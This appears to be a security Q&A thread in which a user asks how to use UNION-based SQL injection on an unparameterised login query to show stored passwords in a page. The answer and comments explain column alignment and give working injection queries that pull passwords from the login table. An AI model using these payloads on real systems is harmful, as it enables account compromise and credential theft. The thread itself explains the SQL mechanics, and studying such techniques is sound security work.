0

I have a table with lots of user info - email, password and others. The server performs this query without using prepared statements:

SELECT * FROM login where email = '$_POST';

I want to do an SQL injection with the post variable to get the password column named as first_name in order for it to be printed in the page HTML. first_name is also a column name in the table.

I tried this but it won't work:

SELECT * FROM login where email = '1' or '1' = '1' union select null, first_name, null as col, null as col, null as col,null as col,null as col,null as col,null as col,null as col,null as col,null as col,null as col,null as col,null as col,null as col,null as col,null as col from login;

Any ideas on how to achieve this?

2
  • What happens when you run that injection? It does not work, ok, but what does it do instead? Also, what part of the query is your injection and what is the original query? Do you know what the original query looks like?
    – Anders
    Mar 3, 2019 at 20:10
  • look at my edit Mar 3, 2019 at 20:14

1 Answer 1

1

To me it looks like your problem is not so much with the injection as it is with the SQL.

  • You are just selecting first_name from login. You are not selecting password. In an SQL UNION, the column names will be taken from the first query, so you don't have to bother renaming anything. However, if the password is the Nth field in the first query, it must also be the Nth field in the second query. Since the names in the second part is irrelevant you don't nead any AS.
  • Also, you must make sure that both queries have the same number of columns with the same types!
  • It looks like the original query only expect one row as a result, so you should probably honor that expectation by adding a where clause. Now you are first selecting all rows in login once in the left part (since 1 = 1 is always true), and then you are selecting each row again in the right part.

You probably want to end up with a query a bit like this:

SELECT * FROM login WHERE email = 'doesnotexist'
UNION ALL
SELECT null, password, null, ... FROM login WHERE email = '[email protected]'

Note that in the above query you have made sure the first part don't match anything. Then in the second part you pick your target email and take care that the password end up in the username column (second column in this example).

5
  • but it returns a column with name "password" with all the passwords. I want a column with name "first_name" with all the passwords.... Mar 3, 2019 at 21:15
  • @JoeSantiago Just use an AS clause on the password column.
    – Polynomial
    Mar 3, 2019 at 21:17
  • SELECT * FROM login where email = 'not_exist' union all select null, email, password as foo, first_name, null, null, null, null, null, null, null, null, null, null, null, null, null, null from t_login where login_id=195;----> Return password in password column not in foo column! Mar 3, 2019 at 21:29
  • @JoeSantiago The names of the columns in the second query is irrelevant. Only the order matters. To see it all in action, take a look at this fiddle: db-fiddle.com/#&togetherjs=UtcrUkLEdm
    – Anders
    Mar 3, 2019 at 21:43
  • thanks a lot! I do understand now!! Amazing! Thanks Mar 3, 2019 at 21:51

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .